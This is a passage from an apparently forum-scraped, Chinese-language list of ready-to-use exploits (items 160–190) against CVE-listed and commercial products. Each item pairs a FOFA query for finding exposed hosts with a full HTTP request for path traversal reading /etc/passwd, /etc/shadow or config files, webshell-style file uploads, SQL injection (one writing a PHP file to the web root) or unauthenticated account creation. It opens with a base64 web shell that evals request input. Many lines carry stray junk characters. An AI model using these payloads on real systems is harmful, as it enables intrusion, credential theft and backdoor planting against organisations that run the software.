' p+ L+ T$ H/ r! P) I/ I) n! ]5 O<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
0 L3 X4 u% R8 h) v/ j</soap:Body>
</soap:Envelope>

/ K( P5 T$ p" u
5 L" x1 G& w' N; n/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

* G! f) }+ ~0 p) ]) q& |) E
160. Sonatype Nexus Repository 3目录遍历与文件读取
: H$ D2 V% X# ?/ {CVE-2024-4956
3 W# }' s) y" k; l1 R, I' kFOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
# S5 m7 X9 W- m/ `Accept: */*
' g4 A3 A, U4 S# e: O  |Accept-Language: en
# g- V0 E7 A" i8 S. zAccept-Encoding: gzip
* d& ]6 t) H7 x9 Z: T+ t
; r# Y' w$ v; M* H# d) J9 }7 U/ g
. Y) U- {2 M! O" m161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
. d2 e6 f% r: n% A: r  `FOFA：body="/KT_Css/qd_defaul.css"
& ~, D8 c: f, B$ s+ d第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
) ]9 A  E( d# s7 _( O* b) `5 {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
, x9 j. e  j( Q4 `Connection: close
Content-Length: 445
( {6 H5 t7 O/ |$ J$ t5 I. k; K5 BContent-Type: text/xml
Accept-Encoding: gzip
: N2 t# k0 L/ L/ p. u+ J8 c
( b# _/ n) ~$ i/ L<?xml version="1.0" encoding="utf-8"?>
: _" M+ V0 Z! ?: |6 z! H8 ~. |1 K<soap:Envelope xmlns:xsi="
4 R1 r, z  I9 D" p: B2 U4 v1 Ohttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
1 A, _) A3 {9 axmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
$ d5 E0 g1 V7 [4 Q; n" R$ ?& a+ c<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
3 r" C2 C6 n$ |3 \<tag>3</tag>
</UploadResume>
</soap:Body>
</soap:Envelope>


http://x.x.x.x/dizxdell.aspx

, ^- g7 ?$ P; ]" P162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
1 e: G$ D5 C/ a1 d8 w# H) gFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
+ T9 O+ I$ P9 L6 h7 y' e8 F. uHost: x.x.x.x
$ X7 a9 ~/ @2 l6 z* ?; b, N6 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

1 c3 Z6 [* ?' l<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
2 p3 c" W' f+ N  o/ j" RContent-Disposition: form-data; name="action"

upload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

ResourceNewResponder
, c# x8 X) x6 y! J3 M% e; z1 x" v2 j------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
. Y/ d0 }1 \+ b/ s
# e1 ]! n/ U9 r, Q/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
- _3 n5 ?( D) w) A' h

http://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
: {+ Q! \/ {+ o4 ]" cFOFA: icon_hash="-795291075"
" T" E+ q5 h/ g9 jPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
" M; w0 n+ s3 L& S8 z1 l9 e: b* kHost: x.x.x.x
  \4 m6 f9 i0 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
" j5 A0 h' Y/ q9 _" h* AConnection: close
Content-Length: 293
Accept: */*
# n, K' t! w( S: r$ ~* ~+ I9 hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ {; d1 v3 ?% ^6 P4 i; O( FContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

% {# G& m/ W, R5 e- ~------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
% a" K# E, i& ^- K1 i7 ]' D4 b1 VContent-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg
6 \' `+ `* v- Y$ |) S) q) \
  |- Y7 x" ]$ q( G4 Irvjhvbhwwuooyiioxega
* S3 O* F9 \! C4 x------iiqvnofupvhdyrcoqyuujyetjvqgocod--


) |% {( E% b% ~0 ]9 d$ |" v/ L164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
# Y2 R2 }& d8 P( cFOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
7 X' p) ~1 D7 S8 v7 p7 w8 `+ nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
/ s) v8 d% C/ |4 Q1 {Accept: application/json, text/javascript, */*; q=0.01
+ A# n" F$ D. u8 y: u) R$ Y+ G$ C" jAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
4 m5 |! N: J! Q! `- ^3 yConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
3 H4 y+ [; |  U0 T/ K- IX-Requested-With: XMLHttpRequest
; |& Y5 w0 c8 J6 e. qAccept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg

" s4 I7 v3 k1 K$ C% O<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--

. C  \" {- @% B4 s: }
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
' Y2 K. c) x# ?/ D
165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
. ~$ {- m; K' s) U* p
% s( J% h! e  A" j/ u4 i. {4 y
166. 中成科信票务管理平台SeatMapHandler SQL注入
0 s% {* t9 m) T0 `. hFOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
/ ]9 L/ ^+ \6 j5 a; [( eHost:
( @% h4 b# _% cPragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% E. j  [. l% _; r6 FAccept-Encoding: gzip, deflate
+ l5 P4 H& q7 B0 BAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
* _! o& e+ M2 {2 U0 U* ]# hContent-Type: application/x-www-form-urlencoded
! j8 P6 R2 U% U6 ?  t3 A- o; HContent-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


: ?; ]6 y3 F: p; e- R5 ]) |- B# h- M167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
! q/ u) S0 c3 j# X; y3 O& \6 tGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
8 _6 d; t+ `. t: j' k2 `6 Q3 v$ ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
4 h) T+ q% @* X2 PAccept: */*
Connection: keep-alive

2 v& b# a' H) m* V
168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
3 w& w; k# \( kGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
6 }( [  y5 B' i- A$ |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
4 X; }! ]7 B$ fContent-Type: application/x-www-form-urlencoded
$ Y- F* l0 |! x& n7 C% YConnection: close
8 a" l7 k$ r( i9 x- V  k! n/ b# b

  N. w4 h" }7 y; {
169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
# }! g5 z1 |2 M6 LGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
8 j! i, B# Z8 H' IHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# {: a' r( i. j3 G8 ^; Q# i5 q. }Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
% l6 @8 j. o- P5 G+ H
. U" a6 j' |' N' T- w2 z- Q& b; T. R- d
2 Q/ U$ ?$ E5 d7 t' v
3 |* }1 {7 P& g; h/ }2 w170. 宏景EHR DisplayExcelCustomReport 任意文件读取
' \( ~$ \! @; m* r# Q9 eFOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ v) L4 w0 `% Y, yContent-Type: application/x-www-form-urlencoded
- i5 ?' L+ _& n5 t3 g
filename=../webapps/ROOT/WEB-INF/web.xml
6 ^8 v, B7 U6 V( p+ n4 }

8 V  v/ u5 |  {3 h$ J- N171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
2 D5 ~  P( x6 D! r3 ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
, r, w9 @/ J. C2 [Accept: */*
, E  i$ d) ~, iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
( G+ Q4 d% d6 i8 h+ l( LConnection: close

5 ~8 b( X$ s1 P- S7 o- q+ z
7 Q" C% w) C6 t" P& B, O
; @  q6 R! k! E! T172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
# W& _2 p- U5 h/ }# C' M; b4 kGET /../../../../etc/passwd HTTP/1.1
Host: your-ip
' Y$ D1 @% a5 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
+ r, b5 N% g7 i- x6 @# p! a8 I% i* oAccept: */*
Connection: keep-alive
' a* `; I, H. Q3 n% L4 \% V


, s2 f* D' n9 Z2 ?173. Check Point 安全网关任意文件读取
& S1 L  V  Y+ m! zCVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
; q' t  h& i- F( Z. bHost: your-ip
Content-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow
$ b$ I" d8 |/ E# A) L
- ^2 Q6 I+ r/ C' C8 q7 p$ ^

174. 金和OA C6 FileDownLoad.aspx 任意文件读取
" s* Q% r. ~$ B) U0 {5 t4 [FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
6 [/ Y7 b/ u3 X  r4 p) s, T2 m( ]# THost: your-ip
6 r" Q0 y8 s8 ?" M9 U' C) B% K# W! \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. ~$ z4 X. ~# M- D0 |! D0 `Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
2 a2 s0 H5 `( y


8 p, ]5 k& O) O) o- V8 u7 N175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
& G- `: o) B8 d4 j; ZGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
9 h" P4 j* U6 K* y5 q; F( FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" d, @; B3 G: F8 {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 M% b6 z4 e7 v; ]# }( M! bAccept-Encoding: gzip, deflate
! z' ?% L/ a9 W$ ]; A3 M/ eConnection: close
0 w7 I" V: Z  e  V2 T- tUpgrade-Insecure-Requests: 1
$ N; h( H- e) N

176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
6 T, {3 W- V+ a8 `9 D# c, ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
* g9 P2 G- p. b! \1 o7 l: _, UConnection: close

------WebKitFormBoundaryOKldnDPT
7 X2 U/ T% M- U1 A4 ~Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

( e/ J* D' e: n: Z) X  a; N<?php system("cat /etc/passwd");unlink(__FILE__);?>
3 p6 i( L: e( b6 d------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
, a( q+ b2 S: T9 \+ Q$ g% ]6 X
" S1 b5 Z& V1 m
------WebKitFormBoundaryOKldnDPT--
' v5 e. v) C4 Q3 z+ Y
: U+ A* D  [# t7 f, n
1 @% W& T0 Z; [/ a9 x" r; }
177. H3C路由器敏感信息泄露
/ Z2 L" j& s% k0 T& Q/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
$ l0 C9 O9 M& N9 {: s2 B& L+ d2 N/userLogin.asp/../actionpolicy_status/../GR3200.cfg
. {8 z& X( a- j- f/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
7 e; {4 T# o3 ?" u; G5 W/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
' E" h# ^4 |, v# p/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
2 j4 I+ b1 e4 w! R# V/userLogin.asp/../actionpolicy_status/../ER3260.cfg
% t% \) f( t; l1 ^6 M& A4 C3 h/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
$ ^" T' Q9 Q) p5 K) T0 s/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
8 v- l" R1 l+ T/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
6 F& h. L) }% J7 E9 i! Y2 S/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/ D5 b8 l: C6 D1 P; @. C/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
, I( v6 J$ H# I7 u. _; W

2 {2 O. @; U: t. g% C" M8 e178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
0 @8 I5 ]3 ?+ v- i2 j8 K  [POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
) T& c- m" v0 o# ]Accept-Encoding: gzip, deflate
& t, r0 h5 z8 i  ^% }3 lConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255
; R( L7 P, C2 K3 D
& \. ~4 J' S. V/ Y12234
4 |' o. D+ m- t0 ]) S+ A1 N-----------------aqutkea7vvanpqy3rh2l--

; t7 c+ e8 I; G: i9 g
% E6 B( w7 U2 Y. z: s* x4 [GET /imc/primepush/%2e%2e/flex/12234.txt
. {# l. a( h1 H. G0 X5 Q2 ?

179. 建文工程管理系统存在任意文件读取
5 p: G( W, c& O* c: Q: S/ u7 ?8 _POST /Common/DownLoad2.aspx HTTP/1.1
3 R5 [6 Q9 d% y; D5 Y  M9 S7 Y; [Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
: A, I* v, Q' f3 Q5 n9 [1 @
path=../log4net.config&Name=

# n% B% w. D4 `/ z6 p) k
5 U+ n$ G, j; g- \9 K& @* A+ c" M180. 帮管客 CRM jiliyu SQL注入
! D( `4 N0 i, L5 }$ `7 hFOFA：app="帮管客-CRM"
9 M) e& V% o* E7 `  Y! x: ~  BGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
& [0 n5 o# ]5 d# d' `Host: your-ip
& n4 I# [" q2 L- r! w" e  Z& FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
: C2 p, J0 q* \) ]Connection: close
& c9 F. D* ]  C' X

; M# _4 Y' O2 _: J181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
. V6 _( V2 S9 n/ t" {FOFA："PDCA/js/_publicCom.js"
$ l4 X) `3 r+ }0 _% xPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
5 a) X8 ?, d+ G' [/ \, u' s# kHost: your-ip
! _6 R3 x5 j* NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" Y+ z  F- \2 i3 ?5 F( c7 gAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
9 h" l7 |) v4 o  U! ZConnection: close
6 ]5 D( a; B5 a; t" K7 h: _Content-Type: application/x-www-form-urlencoded
) G, B5 \/ C+ ]' D% T0 ?4 b4 k; Y  G
- ?) o" J! i  m( e3 Z3 }2 a
& {' o& d# R, Laction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
6 N" p- N$ C' T9 j: s) Z
5 r: S3 ~" @. f. N  Y; }8 U) _  g
8 j. x  X! P  _( C$ B  ^182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
  b8 A7 Z5 U5 n% y! ~. PFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
( j: t; B8 x7 A  @3 BHost: your-ip
4 w  G9 q( ]" A: v) V7 I1 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
& S6 q! G$ D1 F! @Content-Type: application/x-www-form-urlencoded


5 A2 O; l$ E4 W9 V7 T7 Q5 z" zusername=test1234&pwd=test1234&savedays=1


183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
2 t  P% s6 |' d# x* nFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
* @$ w' q  w* {* {. t# ^  DGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
; X$ P$ N1 H  z3 j# h  H8 }( f: DAccept-Encoding: gzip, deflate
' n. A0 ~2 i4 t2 z0 xConnection: close

0 \9 q- Y% }7 |' V
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
9 g4 n9 J, F. T5 `! lPOST /soap/AddUser HTTP/1.1
Host: your-ip
) m, K* G9 W# o6 i& v+ C( E3 P* sAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
3 W% v2 U( T  sAccept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest


insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

2 h1 t$ D: h/ G/ x6 F# w4 s4 H, @
) i( n; E1 \, E* M$ |! {185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
. Z2 e! L4 q+ }7 w% |: a9 J* IFOFA：app="REALOR-天翼应用虚拟化系统"
! Q3 q3 ?1 j. H5 |" g, fGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host

. C* l) O# x4 k
186. F-logic DataCube3 SQL注入
CVE-2024-31750
! Z# a8 E, {& E2 KF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
7 v2 V6 r+ j" {, x+ N" H& FFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
% y# }+ Y- U. W6 X* ]Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
! g' V, k  L6 I/ q! ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 t7 p: x, G# U6 w4 v. N& S& k, qAccept-Encoding: gzip, deflate
Connection: close
) N, s$ ^( ~5 J" MContent-Type: application/x-www-form-urlencoded
$ @3 L. B2 B* ?) E+ g2 x
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

6 g" G' R- I; c2 C
187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
9 L8 R0 a8 W) w7 FPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
% k% E1 i7 t2 [' d7 o0 g; w; j% N; P
" t  ^' N# c8 ]9 m4 Z# v1 g
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

0 @8 `0 q) j1 T, O3 e" f0 \
3 E9 M. ~) K( ?+ f7 ]- l8 z- n) f188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
: Y- S4 d$ M6 t/ q1 P. |
  x% ~! p6 W. P/ c/ `/ `
$ Y  r% {7 }, s, _1 `4 x4 U3 M5 w189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
2 s$ B% @) c3 K0 y, X3 l- bGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
2 D: s- p! U* R% OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! n  o0 F+ L2 @8 XAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

* r" o9 e6 ]2 f8 O1 M3 v! ^
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
